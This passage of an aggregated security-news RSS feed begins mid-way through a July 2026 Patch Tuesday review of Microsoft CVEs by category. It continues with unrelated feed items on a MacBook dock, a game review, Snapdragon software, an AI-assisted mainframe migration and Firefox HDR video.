  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58628"><span>CVE-2026-58628</span></a></td>
  <td width="256" class="xl74">Windows Wireless
  Network Manager Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50295"><span>CVE-2026-50295</span></a></td>
  <td width="256" class="xl74">Windows Zero Trust DNS
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50509"><span>CVE-2026-50509</span></a></td>
  <td width="256" class="xl74">Wireless Wide Area
  Network Service (WwanSvc) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55945"><span>CVE-2026-55945</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Information Disclosure Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">4.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45488"><span>CVE-2026-45488</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45489"><span>CVE-2026-45489</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55145"><span>CVE-2026-55145</span></a></td>
  <td width="256" class="xl74">Outlook Copilot
  Tampering Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56181"><span>CVE-2026-56181</span></a></td>
  <td width="256" class="xl74">Windows Network
  Address Translation (NAT) Spoofing Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58597"><span>CVE-2026-58597</span></a></td>
  <td width="256" class="xl74">Microsoft
  Edge (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl73">Low</td>
  <td class="xl69">4.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 &lt;![if supportMisalignedColumns]&gt;
 <tr height="0">
  <td width="144"></td>
  <td width="256"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
 </tr>
 &lt;![endif]&gt;
</table>











  
  






  <p class=""><em>** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.</em></p><p class=""><em> </em></p><p class=""><em> </em></p><p class="">I’ll do my best to summarize everything else in this release, but no promises. I’m only human after all.</p><p class=""> </p><p class="">Looking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We’ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it’s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) — patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these “normal” as far as patch cadence goes.</p><p class="">That leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.</p><p class="">The pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) — WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.</p><p class="">And because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.</p><p class="">There are close to 260 EoP bugs in this month’s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. What’s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says “elevate privileges” with no detail. By my count, that leaves around 25 bugs to consider. Some don’t elevate at all. The FAQ literally says the attacker just gets “the rights of the user running the affected application.” That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I’ve seen really stands out too much.</p><p class="">There are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it’s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It’s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, “if this fails, nothing above it can be trusted” stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.</p><p class="">The July release includes 31Spoofing bugs this month, and we’ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let "just Spoofing" lull you into deprioritizing the patch cycle.</p><p class="">Of 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures — improper authorization, files/directories accessible to external parties, and link-following — plus Edge for Android exposing “private personal information” twice and two path-traversal bugs. The remaining 40+ are mostly one-line “exposure of sensitive information to an unauthorized actor” entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.</p><p class="">Only 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That’s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to “malicious uses” enabling tampering over the network. That’s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.</p><p class="">Still with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all “allocation of resources without limits or throttling”.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.</p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">The next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I’ll be back then to give you my full thoughts on the release – no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p>]]></content:encoded>
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<title><![CDATA[New ProDock vertical MacBook docking stations add ports while saving desk space]]></title>
<description><![CDATA[New Brydge ProDock models feature vertical MacBook docking for workspace optimization. They come loaded with ports, up to Thunderbolt 5.
(via Cult of Mac - Your source for the latest Apple news, rumors, analysis, reviews, how-tos and deals.)]]></description>
<link>https://tsecurity.de/de/3668830/ios-mac-os/new-prodock-vertical-macbook-docking-stations-add-ports-while-saving-desk-space/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3668830/ios-mac-os/new-prodock-vertical-macbook-docking-stations-add-ports-while-saving-desk-space/</guid>
<pubDate>Tue, 14 Jul 2026 19:54:03 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><img width="780" height="439" src="https://www.cultofmac.com/wp-content/uploads/2026/07/Brydge-ProDock-Trio_01-1440x810.jpg.webp" class="attachment-large size-large wp-post-image" alt="Brydge ProDock docking stations take MacBooks in a different direction" decoding="async" fetchpriority="high" srcset="https://www.cultofmac.com/wp-content/uploads/2026/07/Brydge-ProDock-Trio_01-1440x810.jpg.webp 1440w, https://www.cultofmac.com/wp-content/uploads/2026/07/Brydge-ProDock-Trio_01-400x225.jpg 400w, https://www.cultofmac.com/wp-content/uploads/2026/07/Brydge-ProDock-Trio_01-768x432@2x.jpg.webp 1536w, https://www.cultofmac.com/wp-content/uploads/2026/07/Brydge-ProDock-Trio_01-350x197.jpg 350w, https://www.cultofmac.com/wp-content/uploads/2026/07/Brydge-ProDock-Trio_01-768x432.jpg.webp 768w, https://www.cultofmac.com/wp-content/uploads/2026/07/Brydge-ProDock-Trio_01-1020x574.jpg.webp 1020w, https://www.cultofmac.com/wp-content/uploads/2026/07/Brydge-ProDock-Trio_01.jpg.webp 1600w, https://www.cultofmac.com/wp-content/uploads/2026/07/Brydge-ProDock-Trio_01-400x225@2x.jpg 800w" sizes="(max-width: 780px) 100vw, 780px"></div>
<p>New Brydge ProDock models feature vertical MacBook docking for workspace optimization. They come loaded with ports, up to Thunderbolt 5.</p>
<p>(via <a href="https://www.cultofmac.com/">Cult of Mac - Your source for the latest Apple news, rumors, analysis, reviews, how-tos and deals.</a>)</p>]]></content:encoded>
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<title><![CDATA[D-topia review – cosy sci-fi mystery takes aim at AI]]></title>
<description><![CDATA[PC, PS5, Xbox Series X/S, Nintendo Switch, Nintendo Switch 2; Marimittu GamesA soft puzzle game makes a sharp point about the over-optimised future aheadIn the far future, on a planet that is not Earth, AI is in charge. This entity is no Skynet-esque killer robot but a machine that cares for huma...]]></description>
<link>https://tsecurity.de/de/3668005/ai-nachrichten/d-topia-review-cosy-sci-fi-mystery-takes-aim-at-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3668005/ai-nachrichten/d-topia-review-cosy-sci-fi-mystery-takes-aim-at-ai/</guid>
<pubDate>Tue, 14 Jul 2026 15:03:49 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><strong>PC, PS5, Xbox Series X/S, Nintendo Switch, Nintendo Switch 2; Marimittu Games<br></strong>A soft puzzle game makes a sharp point about the over-optimised future ahead</p><p>In the far future, on a planet that is not Earth, AI is in charge. This entity is no Skynet-esque killer robot but a machine that cares for humanity. Manifesting most visibly as cute droids, the technology is pervasive – embedded in everything from the design of the sleek architecture to the gorgeous, mostly sunny artificial weather. The so-called Optimization System has but one responsibility: ensuring the greatest happiness for the greatest number of people.</p><p>In less skilled hands this game might have felt like an undergraduate seminar on the limits of utilitarianism. But Japanese studio Marumittu Games elegantly marries its philosophical concerns with smart design choices. You play as a young, unnamed Facilitator tasked with tending to both the city’s bots and its human residents. Each morning you wake up, sleepily loping off to the bathroom before sitting down for an exquisitely rendered breakfast, and then embark on your day’s work. Like everything else in this near-future scenario, labour is designed to cause as little frustration as possible, amounting to simple maths brain teasers on a grid – nothing too taxing, but enough to keep you engaged.</p> <a href="https://www.theguardian.com/games/2026/jul/14/d-topia-review-sci-fi-ai-puzzle-game">Continue reading...</a>]]></content:encoded>
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<title><![CDATA[Your Snapdragon X PC just took a step toward becoming a true gaming laptop]]></title>
<description><![CDATA[Qualcomm’s latest Snapdragon Control Panel update adds direct NPU driver access, a redesigned game library, and more reliable one‑click optimization. Gaming on Snapdragon X PCs won’t see a graphics boost, but the overall experience is better than before.]]></description>
<link>https://tsecurity.de/de/3667955/windows-tipps/your-snapdragon-x-pc-just-took-a-step-toward-becoming-a-true-gaming-laptop/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3667955/windows-tipps/your-snapdragon-x-pc-just-took-a-step-toward-becoming-a-true-gaming-laptop/</guid>
<pubDate>Tue, 14 Jul 2026 14:44:53 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Qualcomm’s latest Snapdragon Control Panel update adds direct NPU driver access, a redesigned game library, and more reliable one‑click optimization. Gaming on Snapdragon X PCs won’t see a graphics boost, but the overall experience is better than before.]]></content:encoded>
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<title><![CDATA[Deluxe Corporation beats the odds with mainframe migration using AI]]></title>
<description><![CDATA[Deluxe may have prevailed against the odds when it successfully migrated from a 50-plus-year-old mainframe recently.



The company was able to move from it to a cloud environment in about 12 months without a major hitch, and while AI did some of the heavy lifting. The save will amount to about $...]]></description>
<link>https://tsecurity.de/de/3667450/it-nachrichten/deluxe-corporation-beats-the-odds-with-mainframe-migration-using-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3667450/it-nachrichten/deluxe-corporation-beats-the-odds-with-mainframe-migration-using-ai/</guid>
<pubDate>Tue, 14 Jul 2026 11:32:57 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Deluxe may have prevailed against the odds when it successfully migrated from a 50-plus-year-old mainframe recently.</p>



<p class="wp-block-paragraph">The company was able to move from it to a cloud environment in about 12 months without a major hitch, and while AI did some of the heavy lifting. The save will amount to about $4.9 million a year by retiring old hardware and software, cutting labor costs, and consolidating IT resources.</p>



<p class="wp-block-paragraph">Deluxe, based in Minneapolis and traditionally known as a check printer, has transformed itself into a payments IT provider in recent years. But it desperately needed to end its reliance on its ancient mainframe, says <a href="https://www.linkedin.com/in/yogaraj/">Yogaraj Jayaprakasam</a>, the company’s chief technology and digital officer, pictured.</p>



<p class="wp-block-paragraph">So AI played a huge role in the IT modernization project, he says, using it to rewrite the old mainframe code, generate documentation, and regenerate code test cases. The company also used an AI-powered test automation suite, as well as AI tools to help move assets to the new cloud environment.</p>



<p class="wp-block-paragraph">While AI can’t do everything during mainframe migration, it can make the move easier, Jayaprakasam says. “The biggest lessons learned is AI is one of the missing tools in your transformation tool set,” he adds.</p>



<h2 class="wp-block-heading">Failing projects</h2>



<p class="wp-block-paragraph">Deluxe’s mainframe migration earned it a <a href="https://www.cio.com/article/220017/us-cio-100-winners-celebrating-it-innovation-and-leadership.html">2026 CIO 100 Award</a> for IT innovation and leadership, but it also seems to have bucked a recent trend. Many mainframe migration projects haven’t gone as planned, and <a href="https://www.gartner.com/en/newsroom/press-releases/2026-06-18-gartner-predicts-more-than-70-percent-of-mainframe-exit-projects-will-fail-due-to-overestimation-of-generative-ais-capabilities">Gartner recently predicted</a> that more than 70% of mainframe exit projects that started in 2026 will fail to produce intended benefits because of an overreliance on gen AI.</p>



<p class="wp-block-paragraph">Mainframe transformation projects tend to work better when they’re part of a larger business transformation rather than a one-off project using gen AI to do most of the work, says Gartner analyst <a href="https://www.gartner.com/en/experts/alessandro-galimberti">Alessandro Galimberti</a>.</p>



<p class="wp-block-paragraph">“Generative AI and agentic AI are extremely powerful, but they also have their own limits,” he says. “With all these kinds of tools trying to convert code or somehow fit into a non-mainframe workload, we don’t really see a track record of success.”</p>



<p class="wp-block-paragraph">Gartner also sees a declining interest in mainframe migration projects, Galimberti says. With mainframes getting support from several IT vendors, and with a general lack of migration success, many companies are choosing to keep many workloads on their existing big iron.</p>



<p class="wp-block-paragraph">But mainframes also have a proven track record of very high uptime and backward capability, Galimberti says.</p>



<p class="wp-block-paragraph">“If I’m a bank, a financial institution, or a transportation company, I need to run applications that are the core of my business,” he adds. “I need reliability, transactional integrity, and security, and these applications have a low change rate over the years because they map very stable business processes.”</p>



<p class="wp-block-paragraph">The Gartner prediction makes sense to <a href="https://www.linkedin.com/in/john-mckenny-994446/">John McKenny</a>, senior VP and GM of Intelligent Z optimization and transformation for mainframe support vendor BMC Software.</p>



<p class="wp-block-paragraph">“With organizations thinking about mainframe exits, the expected benefits they’re looking for are usually pretty straightforward,” he says. “They think, ‘It’s going to be lower cost, I’m going to get equal or better capabilities, I should be more agile.’  The reality is those outcomes rarely show up at scale.”</p>



<p class="wp-block-paragraph">Mainframe migration is possible, but the successful projects tend to be small scale, McKenny adds. He was on a recent call about a failed migration project in Europe, with a large bank cancelling the project at the end of 2025 and recommitting to the mainframe as a strategic platform.</p>



<p class="wp-block-paragraph">“I’ve never seen a large-scale mainframe migration project finish under budget, ever,” he says. “Most of the projects I hear about fail outright.”</p>



<h2 class="wp-block-heading">Trying again</h2>



<p class="wp-block-paragraph">Like some organizations that Gartner has observed, Deluxe tried to move away from its mainframe several years ago, but the project failed, Jayaprakasam says. Yet the company took the steps it needed this time to ensure the new migration succeeded.</p>



<p class="wp-block-paragraph">While a mainframe migration isn’t for every organization, the latest move made sense for Deluxe, he says.</p>



<p class="wp-block-paragraph">The mainframe, after all, was the backbone for a large portion of the company’s annual revenue, and interfaces with several top banks across North America. The modernization effort rebuilt core business processes and data, moving them from the mainframe to a modern cloud-native technology stack, including Salesforce, Mulesoft, and SAP S4/HANA.</p>



<p class="wp-block-paragraph">While AI played a big part, there’s danger in overestimating the power of AI during a migration project, Jayaprakasam says, and organizations need to follow best practices for IT migration.</p>



<p class="wp-block-paragraph">“If you minimize the importance of communication, risk planning, and business alignment because you have AI, you tend to fail,” he says. “But as long as you play all those cards and recognize AI was the missing piece to the puzzle, then you have a much better chance of winning.”</p>



<p class="wp-block-paragraph">Deluxe also used a cross-functional tiger team to look at the various options available to accelerate reverse engineering, including AI tools from OpenAI, Anthropic, as well as GitHub Copilot throughout the project.</p>



<p class="wp-block-paragraph">In addition, AI was useful to dig through the mainframe code and understand what needed to be updated, Jayaprakasam says. Organizations sitting on decades-old code often no longer have people who understand it.</p>



<p class="wp-block-paragraph">“I always tell people that the code remembers what the organization forgot, because with people going and changing, people don’t remember what we wrote in the code, but the code remembers,” he adds. “The amazing tool that was missing before is we didn’t have an interpreter who understood what the code remembered. Now with AI, you have the interpreter.”</p>
</div></div></div></div>]]></content:encoded>
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<title><![CDATA[Mozilla GFX: HDR video in Firefox for Windows tech retrospective]]></title>
<description><![CDATA[HDR video is coming to Firefox for Windows users (and has been available for some time on macOS).  This blog post explains how we developed the feature and gives a retrospective on the technical choices we made.



A primer on video playback for the web:




Video file demux and decode: A video s...]]></description>
<link>https://tsecurity.de/de/3666879/tools/mozilla-gfx-hdr-video-in-firefox-for-windows-tech-retrospective/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3666879/tools/mozilla-gfx-hdr-video-in-firefox-for-windows-tech-retrospective/</guid>
<pubDate>Tue, 14 Jul 2026 07:08:30 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="wp-block-paragraph">HDR video is coming to Firefox for Windows users (and has been available for some time on macOS).  This blog post explains how we developed the feature and gives a retrospective on the technical choices we made.</p>



<p class="wp-block-paragraph">A primer on video playback for the web:</p>



<ul class="wp-block-list">
<li><strong>Video file demux and decode</strong>: A video stream generally consists of parallel image and audio streams, along with captions, HDR scene metadata, and the like. “Container” formats like MP4 or MKV specify how these streams are combined, or multiplexed, into a single byte stream for transmission. On receipt, Firefox needs to divide that byte stream back into the individual media streams; this is de-multiplexing or “demuxing”. Then Firefox must uncompress the data to get images, audio samples, and so on. Firefox’s media team provides the demuxers, and pulls in appropriate codecs to decode them. We prefer using hardware video decoders if they work reasonably well. Video decompression usually produces roughly a YUV 4:2:0 image in <a href="https://learn.microsoft.com/en-us/windows/win32/medfound/recommended-8-bit-yuv-formats-for-video-rendering">NV12 for SDR</a> or <a href="https://learn.microsoft.com/en-us/windows/win32/medfound/10-bit-and-16-bit-yuv-video-formats">P010 for HDR</a>. (If you visit <strong>about:support</strong> in Firefox, and search for <strong>Codec Support Information</strong> (or one of the codec names like <strong>AV1</strong>), you can see a whole feature matrix of support details for which codecs are hardware and software on your system.)</li>



<li><strong>Gecko displaylist building</strong>: Given a demultiplexed, uncompressed frame of video, Gecko displaylist building incorporates it into a video element in the displaylist being sent to WebRender. If the frame was decoded in hardware, it is generally represented by a texture in GPU memory. Or, if it was decoded in software, then it is represented by a memory mapping holding some raw pixel data in system memory shared with Firefox’s media decoder process.</li>



<li><strong>WebRender</strong>: Given the video element in the displaylist, WebRender decides whether to promote it to a desktop compositor overlay, or whether it must instead be rendered using a pathway more like an ordinary HTML element. A compositor overlay is faster and uses less power; on Windows this uses DWM with the <a href="https://learn.microsoft.com/en-us/windows/win32/api/_directcomp/">DirectComposition API</a>, which manages a graph of <a href="https://learn.microsoft.com/en-us/windows/win32/api/dcomp/nn-dcomp-idcompositionvisual">visuals</a>. But if complex CSS is involved (rounded corners, blur filters, or similar features), Firefox must use WebRender’s ordinary rendering pathway. Currently the latter is not HDR capable, so Firefox favors the desktop compositor overlay for animated elements such as video and canvas.</li>
</ul>



<p class="wp-block-paragraph">As we began designing Firefox’s HDR support, we had to lay out some assumptions and found many complications:</p>



<ul class="wp-block-list">
<li>Initially, we had hoped that on a modern system, <a href="https://en.wikipedia.org/wiki/Rec._2100">BT2100</a> HDR videos could be displayed on Windows by simply sending them to DirectComposition.
<ul class="wp-block-list">
<li>In theory, the Desktop Window Manager (DWM) honors the <a href="https://learn.microsoft.com/en-us/windows/win32/api/dxgi1_4/nn-dxgi1_4-idxgiswapchain3">DXGISwapChain3</a>::<a href="https://learn.microsoft.com/en-us/windows/win32/api/dxgi1_4/nf-dxgi1_4-idxgiswapchain3-setcolorspace1">SetColorSpace1</a> method which should let us request either <a href="https://learn.microsoft.com/en-us/windows/win32/api/dxgicommon/ne-dxgicommon-dxgi_color_space_type">DXGI_COLOR_SPACE_YCBCR_STUDIO_G2084_LEFT_P2020</a> or <a href="https://learn.microsoft.com/en-us/windows/win32/api/dxgicommon/ne-dxgicommon-dxgi_color_space_type">DXGI_COLOR_SPACE_YCBCR_STUDIO_GHLG_LEFT_P2020</a>. The former refers to SMPTE 2084, more commonly called PQ, the <a href="https://en.wikipedia.org/wiki/Perceptual_quantizer">Perceptual Quantizer</a> function and the latter is ARIB-STD-B67  also known as HLG, the <a href="https://en.wikipedia.org/wiki/Hybrid_log%E2%80%93gamma">Hybrid Log Gamma</a> function, most commonly used on HDR TV broadcasts.</li>



<li>Unfortunately, this was a dead end. In testing with a mocked up <a href="https://github.com/FirefoxGraphics/compositor_colortest/tree/main">compositor test app</a>, calling SetColorSpace1 with this value seems to be ignored on P010 (at least in testing on AMD), so it incorrectly displays BT2100 PQ video as if it were BT709, which makes the video dull and muddy, since BT709 is a narrower gamut than BT2020, and the BT1886 transfer function used by BT709 is very different from PQ defined by BT2100. SetColorSpace1 may work on other vendors with P010, so it may be a valid optimization, but we were looking for a universal solution.</li>



<li>For the future, Windows 11 23H2 has added a new interface called IDCompositionTexture which may serve our purposes better; from what we have been told, it is universally supported for all formats and color spaces. We haven’t used it for video so far, but it’s an interesting future direction.</li>
</ul>
</li>



<li>As noted above, HDR videos must use a desktop compositor overlay. HDR video uses the BT2100 PQ colorspace with an RGB10A2 format, while WebRender can only work with images in the sRGB colorspace (appropriate for standard-dynamic-range BT709 video).
<ul class="wp-block-list">
<li>Until HDR came along, Gecko and WebRender only used desktop compositor overlays as a power/performance optimization. With HDR, overlays become a necessity as the pixel format and color space differ from classic sRGB.</li>



<li>Fortunately, HDR videos tend to be shown without particularly fancy CSS rendering such as clip masks and rounded corners, which would require WebRender to perform further copies. Technically, DirectComposition does support all of those features, but Firefox doesn’t use that functionality much.</li>



<li>In the future, we expect to upgrade WebRender for HDR rendering, allowing us to deal with complex cases like clip masks or blur filters on video elements.</li>
</ul>
</li>



<li>We considered whether we could use VideoProcessorBlt, or whether we should write our own shader instead.
<ul class="wp-block-list">
<li>In favor of VideoProcessorBlt:
<ul class="wp-block-list">
<li>It uses less power on GPUs that have a video processor unit.</li>



<li>We discovered in testing (using <a href="https://learn.microsoft.com/en-us/windows/win32/api/d3d11_1/nf-d3d11_1-id3d11videoprocessorenumerator1-checkvideoprocessorformatconversion">CheckVideoProcessorFormatConversion</a>) that while many modern GPUs support one of the needed conversions (P010 PQ -&gt; RGB10 PQ), few support the ones we need for HLG videos (P010 HLG -&gt; RGB10 PQ).</li>



<li>The ‘video-dynamic-range’ query used on the web is not fine-grained enough to be able to say “the web browser can display PQ video but not HLG video”, so if we went with VideoProcessorBlt as a required feature, only about 20% of HDR desktop users would be able to use the feature.</li>



<li>In the future, we could explore using VideoProcessorBlit to save power on hardware that supports the conversions we need. But other web browsers are not using this functionality, so there may be more issues we haven’t found yet.</li>
</ul>
</li>



<li>In favor of writing our own shader with all of the features:
<ul class="wp-block-list">
<li>This would work consistently on all vendors – nothing special here.</li>



<li>This would look the same on all vendors, regardless of hardware capabilities. This is generally the aim of web standards.</li>



<li>This would support anything we want it to. HDR tonemapping can be implemented. Video orientation can be implemented (for videos recorded on phones which may be rotated 90, 180 or 270 degrees). We can support any kind of YUV-&gt;RGB conversion with a color matrix (even weird legacy formats like GBR 4:2:0).  We can support conversion between color primaries (e.g. BT2020-&gt;BT709).  We can convert to linear color (for scRGB using RGBA16F) or any EOTF we want (notably BT2100 PQ with RGB10A2, for our use-case).</li>
</ul>
</li>



<li>In the end we went with the shader after a significant period of time experimenting with VideoProcessorBlt in our Nightly releases.</li>
</ul>
</li>



